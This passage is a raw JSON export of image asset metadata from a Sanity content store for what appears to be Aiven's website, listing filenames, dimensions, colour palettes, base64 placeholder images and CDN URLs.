xcxv3bVmvORovHLR4LnCqWhOSNtTd9yoVbwp8q/k5GD2RkllVxmcWWvP+ziu8zBQctfsqcrgyGE9nF7bVwqQu7XNgfI+UYKTFscWw2J6ZjxuKfKv5KK16pPeiXwTK6O+HCAZdGPUL8QcpcNhclteaExPdS8mcWT1vcl1n8rhXrOC8kzzH0LMNeTvx5de0DHJ1f6cJNVQxCehX3Bph72SH3Kg8Yjeq3p4dPubRIRHD/tfgxm/VuLIYqHskO7wiZOdf7MuRXt9Fb38dmba6paRfequIXix/aS4VncvTi5ZjZkPZF7sgXLba5sNyF0Qh1jWDnJol1FDM5U8XuKrbWwhkunGqxPMMcS7WzuDW9PtNiSS0sal73i7kBLk7QtS5saF5EWDsWtnU2u4E6FtRY+/36H2pLZNu8+c+x/Q/JiqASS2FUjgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#542c3c","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6a0c04","foreground":"#fff","population":5.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6a0c04","foreground":"#fff","population":5.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#852a13","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e46444","foreground":"#fff","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8a6457","foreground":"#fff","population":0.87,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9640e","foreground":"#fff","population":4.69,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-coins-hand.svg","path":"images/sczeoy4w/production/e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24.svg","sha1hash":"e7196743bdb72ecfdfadc1e773ff78971bb14c15","size":915,"uploadId":"hn1OTwQZzyES6kvsuGJ0IpLk6kR9aFRC","url":"https://cdn.sanity.io/images/sczeoy4w/production/e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24.svg"} {"_createdAt":"2024-04-08T19:35:48Z","_id":"image-e7627605ff6e5495107c386256c471df59bfa53d-512x512-png","_rev":"wa1GVUTtyutp0WKCzPF2R9","_type":"sanity.imageAsset","_updatedAt":"2024-04-08T19:35:48Z","assetId":"e7627605ff6e5495107c386256c471df59bfa53d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eYGR-iWB?^t7-pxaRjoyj[j[NGj[V[ofjYx]f6t7bHRjV[j[WBofWV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEPUlEQVQ4jUXT+VMaBxQHcP+EVJOOxmTGtGM10cSqeERO2WXZ5ZBjuRaWSyGB1PHgUoLgIkTBW2u9WmmN1iMa2RMWyR/XQZ1m5v36me97896rI8tF6q4KJweBoEs40NHf2aIaaB8FekLqtxGtMAAPvjfDy0vJq+IFU6GZW4au0HSFpniqjioVab54w16trmeNOlAsaNMKO3xQb3RkaB6VEmZZ3CgJWxSJCe/6Wvb08pjiKabCMBWavscMT55/PQlHP8iEXcqBdj/SF0fFWdtw3gEu44pFO5CyyqcsYMBtXMgkLr6esRWWrTAMT98ll8m//tl3ucxCQbtR+mbKIJy3yXJOcNUFrbmUKzi0gAHTRrFDNfR+DDss7DE8w9aS7zDJ3axv57VaQNjbagd7Q6h4zjacdShW3MiWV7Pp1WRxZQiVOVVDo7h+Z3edLlMPyXSZvGGuM0spAHgr6ml1KvsmjdKoRZ60wznvyKbfsOHTZ1zqkAn0aiVBj2l3f+M7ZvgaXswRKkgM9L8cRQYnDdJpFIjbkIxTs+RSZ3E4iSlDKPBuRDrlsx4cbjE8zd3Wxq5jeIoqFfd+X/FbNKikO6AZCqOymAlMYciCXUlY5ElUNmcBElYoZALjQfzoaIetMNwty92ydWyFZnnq5GgnHXAGNOIJnXjOCiw5VeuekbwDJlBZ0iAjLOCSA0k7VIsh3+npn1yVLVW5Gr5v4PKssDYzHrHC08ZhAoO2vLpdn2HNiaRN8iQKEBZF3gHnXJq1WPDivFD6xpWqtaphrsoVycudXHLGbQiZ5AQGbXq122O6vBPJYDBhQ5JmcMEGZnFkOfLu/OyoVOXK30oPuFTlWJ46LuwS076wDZq3K1ZHVXmvmsCglFk5b1LO6mVxkzTlgPLRB/zQ9v30pVv2hrzcyKeiHt2cQ5EbU33yIHMWecIoTxiBqE4SQ8UfnfBqavLy6vN3zPD0vafL5P7eetRvjVgBwq1Me5SEE0rjcBpHPtqAsFka9xl3N7NF5pq7k7VV0WXqfulF9mZrO/+b0xAYEYfMsgg2POtQEG512q2esYFBgyQWtB8d7dA8xd4y/982SZVIhqfPr/6djU5YlEIP3B/Ui4IG0bhRErWCMxg0bpDg8IDfplldzl5TV3cvRdPl2lfVMFUiDw7/wE16oKvNMdw9bhCNo5JJszSGATG7YhyV2iGBVtTjtZm2ttauyS8UR95hjrwmvxT+PpwJTwN9gt5nT5GuX/zwQMQ6HMcVKQ+c9CAhq9wN9ym6W0Wdr1wmNJNK7O1uH58U6s7OP6/kP43hdvlA/+vmZ6/qnwiamlRdbUGNMOWGM37t/Kg6ggE+9aBK0Pbr86c9L34CBAKzSuV34XWruSym171paXnR0PDzD/UvHz3ufPSkt6nRNPg64USWgkbCNxJzQB/0It1gR1dzY2t9Q2vD47YfGzubn/8H764kui4CiNEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e3e31","foreground":"#fff","population":3.71,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f402b","foreground":"#fff","population":0.83,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b4bcb4","foreground":"#000","population":21.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4bcb4","foreground":"#000","population":21.94,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d5b7a3","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#966652","foreground":"#fff","population":3.7,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#af764f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Larry HS.png","path":"images/sczeoy4w/production/e7627605ff6e5495107c386256c471df59bfa53d-512x512.png","sha1hash":"e7627605ff6e5495107c386256c471df59bfa53d","size":130121,"uploadId":"zOjHcRqscuV13K388xIke2WI9tegsDjH","url":"https://cdn.sanity.io/images/sczeoy4w/production/e7627605ff6e5495107c386256c471df59bfa53d-512x512.png"} {"_createdAt":"2024-03-06T12:09:02Z","_id":"image-e778eba01c4b9e96b58c582554a8c4ae32880a7d-1280x720-jpg","_rev":"wlmKp1TUxaN4Rr151JlDFU","_type":"sanity.imageAsset","_updatedAt":"2024-03-06T12:09:02Z","assetId":"e778eba01c4b9e96b58c582554a8c4ae32880a7d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M98N9qGJaG#i5FpMs6WAbcRoE1xGWBNI$|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAMFAgf/xAAgEAABBAICAwEAAAAAAAAAAAABAAIDBBIhBRETMUFh/8QAFgEBAQEAAAAAAAAAAAAAAAAABQAE/8QAHREAAgICAwEAAAAAAAAAAAAAAQIAAwQFERIxIf/aAAwDAQACEQMRAD8A47xz6ba0ecMbnY737TeNfx9nlIhchDKo7zAPtRaMjg5nXWvwLBcfLJv6U3l3Gmgsvp+Sw6RdcFbyOtCqbMviYRHkcez8QpcziZDtCPTbOqheom5tdWSTyZ//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#382a5a","foreground":"#fff","population":0.46,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":10.31,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":10.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4afb4","foreground":"#000","population":7.21,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#969ee2","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7f84bc","foreground":"#fff","population":0.55,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#283392","foreground":"#fff","population":1.15,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"IntroCard_Doccla_2.jpg","path":"images/sczeoy4w/production/e778eba01c4b9e96b58c582554a8c4ae32880a7d-1280x720.jpg","sha1hash":"e778eba01c4b9e96b58c582554a8c4ae32880a7d","size":449042,"uploadId":"To0HaNvnmuzs3kYutR03InXjoiMVNSdJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/e778eba01c4b9e96b58c582554a8c4ae32880a7d-1280x720.jpg"} {"_createdAt":"2022-12-07T19:58:49Z","_id":"image-e77da1e32505b49f3382718b690c0c9f339bb313-1132x549-jpg","_rev":"fuFsKkOoAJwNVpPrIKb25l","_type":"sanity.imageAsset","_updatedAt":"2022-12-07T19:58:49Z","assetId":"e77da1e32505b49f3382718b690c0c9f339bb313","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNR2.1v0k;xcbIXpOaodnNayG^O[nRXSad","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.061930783242259,"height":549,"width":1132},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGQAAAQUAAAAAAAAAAAAAAAAAAAIDBAUH/8QAIhAAAgEDBAIDAAAAAAAAAAAAAQIAAwQRBRITIRQxQVFx/8QAFQEBAQAAAAAAAAAAAAAAAAAABAX/xAAfEQAABQQDAAAAAAAAAAAAAAAAAQIDEQQSIUFRcfD/2gAMAwEAAhEDEQA/ANq80LqFyle1U0UyQV7JkrT6tSreJUtbXjs2U72bpgfqWnGnI52Lk/OI/SACDAA/IKkJ8lmTi7izqN9hbjjdspRmOfZAjblyAYRXqEpAQ//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3f44","foreground":"#fff","population":0.99,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d2cf09","foreground":"#000","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f97606","foreground":"#fff","population":4.39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acc4cc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f16886","foreground":"#fff","population":0.19,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad5260","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f97606","foreground":"#fff","population":4.39,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"diagram-three-year-cost-per-organization-idc-white-paper.jpg","path":"images/sczeoy4w/production/e77da1e32505b49f3382718b690c0c9f339bb313-1132x549.jpg","sha1hash":"e77da1e32505b49f3382718b690c0c9f339bb313","size":162787,"uploadId":"XuHwv81wS9yENyZS4QUiNE8ht4I2jloT","url":"https://cdn.sanity.io/images/sczeoy4w/production/e77da1e32505b49f3382718b690c0c9f339bb313-1132x549.jpg"} {"_createdAt":"2024-03-15T12:27:37Z","_id":"image-e78289aa635c0410be2f0bcf36ad23fced936f77-2500x2500-png","_rev":"2QvLnXP36WAnQ13A3vE5P4","_type":"sanity.imageAsset","_updatedAt":"2024-03-15T12:27:37Z","assetId":"e78289aa635c0410be2f0bcf36ad23fced936f77","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e28gt6000c0000EG9D^*$_N%00In~W-:Iv]|%2A258x99DRh-q%3Wa","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a4169","foreground":"#fff","population":0.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#151f6b","foreground":"#fff","population":31.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#151f6b","foreground":"#fff","population":31.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b6abc0","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ebcb9e","foreground":"#000","population":0.45,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#666795","foreground":"#fff","population":0.53,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#192cb1","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5 questions about managed Kafka-Hero.png","path":"images/sczeoy4w/production/e78289aa635c0410be2f0bcf36ad23fced936f77-2500x2500.png","sha1hash":"e78289aa635c0410be2f0bcf36ad23fced936f77","size":1820473,"uploadId":"ZnQXFyZD86RpQS3XxOIvOGdM8TMUvdmt","url":"https://cdn.sanity.io/images/sczeoy4w/production/e78289aa635c0410be2f0bcf36ad23fced936f77-2500x2500.png"} {"_createdAt":"2023-10-18T14:50:42Z","_id":"image-e7b0ead37b967fe7cce494cdf6447b8e24afbabd-1824x1026-jpg","_rev":"zE08g5Yj02ino50zLce6Ei","_type":"sanity.imageAsset","_updatedAt":"2023-10-18T14:50:42Z","assetId":"e7b0ead37b967fe7cce494cdf6447b8e24afbabd","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MC7,]DEdI.Mt+;Ov$xNfaHNF}sI=J9Ro,,","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1026,"width":1824},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAcDBAUG/8QAHxAAAQQCAwEBAAAAAAAAAAAAAgABAwQFERIhMQYz/8QAFgEBAQEAAAAAAAAAAAAAAAAABQMG/8QAIBEAAgIBAwUAAAAAAAAAAAAAAQIAAyEGEdEEQWFxkf/aAAwDAQACEQMRAD8ASnyl2SjdM4uPIgce1HNes2b5jNYPiJaFt9MqmM/ZdrZx1QaNaVq8bSG2yLXq0VtqI1SkbkkgeMSdNL2JYynYKAT9mM9+0/tgy11t3QmLicHjJcfCclOIicdu/aEFZrLpKnKGpsY7cxVNO3uoYOM++J//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e295a","foreground":"#fff","population":0.34,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":21.5,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":21.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a3a3c1","foreground":"#000","population":0.5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8394e7","foreground":"#000","population":0.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e6161","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8640e","foreground":"#fff","population":3.22,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"security-compliance.jpg","path":"images/sczeoy4w/production/e7b0ead37b967fe7cce494cdf6447b8e24afbabd-1824x1026.jpg","sha1hash":"e7b0ead37b967fe7cce494cdf6447b8e24afbabd","size":51029,"uploadId":"ZUbwXeXMshoIpQS2Ms4IJ8pF5GxGpCTm","url":"https://cdn.sanity.io/images/sczeoy4w/production/e7b0ead37b967fe7cce494cdf6447b8e24afbabd-1824x1026.jpg"} {"_createdAt":"2022-11-21T11:54:55Z","_id":"image-e7b2e75508e99eba8a7e1a056d7170c7996c005d-1742x995-png","_rev":"bUMlF7B1Xxw34pzcKtltD4","_type":"sanity.imageAsset","_updatedAt":"2022-11-21T11:55:28Z","altText":"Screenshot for how to use the Aiven API and Postman to make an API call: new service","assetId":"e7b2e75508e99eba8a7e1a056d7170c7996c005d","description":"Making an Aiven API call with Postman, an example of a new service being created.","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7507537688442212,"height":995,"width":1742},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB+UlEQVQokW2RSW7cMBBFdf9bBLmBgfY6yBkMw3aQRct0Sy21RHGoiRRZARV3kIULeOBYH5+f3fDe/5jH4ddtnt/naeqncein69DP09jfpusxTuOlvw4fx9l9f7qOvbkM/dmM58tlMJcP8/Ten79112F4WpfFe+eSc5ts2yYheEEAAYgSY5DgN/GbFQheCFGYSBBRFgcyLIFn6/O8btM03x66cRze1nVl55yGEDTGqIioRKgA8XMNSogqzJpS0pzzAbHoFknNQvprhM3M/rFbbrcXay1aa9V7XwHgk1hjCDWEUBGgElFl5iop1ZzzJ6kSp2Ks6PNA63kKp85a++qcoybonKuHO0SFCBojKhKriBzOUs6677uWUu7UBsqua2C7WH/qtm07BJd1UWttc3cIRhc0BFSWfDTXWr/ib5XS4rDeuVPnvX8NIRwOm+CRGYCCD4oRNaWvBf93mPeiIslGgFMXQnhBRGrOWnaIWCHGCkd2WEXkyKs13qvN97LfKYdgyisRnzoAeGNmbj/Id4iUmtMIyiztsramUr58tpZaW7YbMz92McYnIvLMnJvuvwIQDFEAWUiySN4l70VKKVJrPWjzT/Z93yciemif8jOE8BsAPgDAIKIhIkOAJnhvnI8mABlANsRiRJJJKRkRMczceGfmCxE9e++//wEJfUhriWgKUwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#464444","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2464a4","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1275d9","foreground":"#fff","population":0.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6bcca","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6cc4fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c848c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1275d9","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"new-service.png","path":"images/sczeoy4w/production/e7b2e75508e99eba8a7e1a056d7170c7996c005d-1742x995.png","sha1hash":"e7b2e75508e99eba8a7e1a056d7170c7996c005d","size":211266,"title":"Screenshot for how to use the Aiven API and Postman to make an API call: new service","uploadId":"yfXy1BVH1lMDooux3hQrknUZbSIbtqRk","url":"https://cdn.sanity.io/images/sczeoy4w/production/e7b2e75508e99eba8a7e1a056d7170c7996c005d-1742x995.png"} {"_createdAt":"2023-06-07T13:28:10Z","_id":"image-e7b4dee42866fc767de33d23af4cab54d8c6ed94-1812x978-jpg","_rev":"rV9BZDYEBgQp95tIyW95sO","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T13:28:10Z","assetId":"e7b4dee42866fc767de33d23af4cab54d8c6ed94","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MLGlVH-:M{kC9F_4t8M{jZf6%L%L-;ofkD","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.852760736196319,"height":978,"width":1812},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQFBv/EACEQAAEEAgIDAQEAAAAAAAAAAAECAwQFABEGIRITYRah/8QAFQEBAQAAAAAAAAAAAAAAAAAAAgH/xAAZEQACAwEAAAAAAAAAAAAAAAAAAQMREiH/2gAMAwEAAhEDEQA/AKPEeV3trXeFtXtuRSFFx1TfjsDGY0yG6l5ENpDqggq9ZVs/BmRtbiw/JAiU4PYCFa0NjIFM85GrGnGFqQtewog9kYVJ2gtUPXfJLyPZvNMxfShJ0Ehnf9wyBZcjt4855pqc6lCVdDo66+jDFouT/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#645c34","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d3666","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b8bfc4","foreground":"#000","population":6.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8bfc4","foreground":"#000","population":6.44,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d9e2f4","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8e8464","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3968c5","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"adeo-customer-img.jpg","path":"images/sczeoy4w/production/e7b4dee42866fc767de33d23af4cab54d8c6ed94-1812x978.jpg","sha1hash":"e7b4dee42866fc767de33d23af4cab54d8c6ed94","size":1122476,"uploadId":"DJN6J1AcGc70KqMPfd26lStJ75RL7DQm","url":"https://cdn.sanity.io/images/sczeoy4w/production/e7b4dee42866fc767de33d23af4cab54d8c6ed94-1812x978.jpg"} {"_createdAt":"2022-12-08T13:42:57Z","_id":"image-e7c05fb711b086060991f90eb91a8f5ce062cf64-512x512-jpg","_rev":"VrdcoLtXxUWed6PHr4DRvG","_type":"sanity.imageAsset","_updatedAt":"2022-12-08T13:42:57Z","assetId":"e7c05fb711b086060991f90eb91a8f5ce062cf64","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ebJb25%M~qoft7_3of%MayM{IUofWBWBRj%MWBM{WBWB?bofRjofay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAcFBv/EACYQAAEDBAEDBAMAAAAAAAAAAAECAwQABQYRBxQxQRIhImEVI2L/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8ApvMOUP4nhcmbBBM1xQZY0N6UfNQPDMkz+03ePdbpJkvWp19KH0One9nwKqPIHIWKXRES2iR1Si+FIcCf1BQ/qsLIMqx6D0gupZRFW6D8PkQR51QW5xYUQodlAGlc3AzLH7nFRJhXSKtgjQJXo+31SglHIlltrcXoWIbLMaOoBCW06796j2WPptt0TAjx2FMJCfdxPqUd/ZpSgsmKYtaPwcdYiIBcHrUB22RSlKD/2Q==","palette":{"_type":"sanity.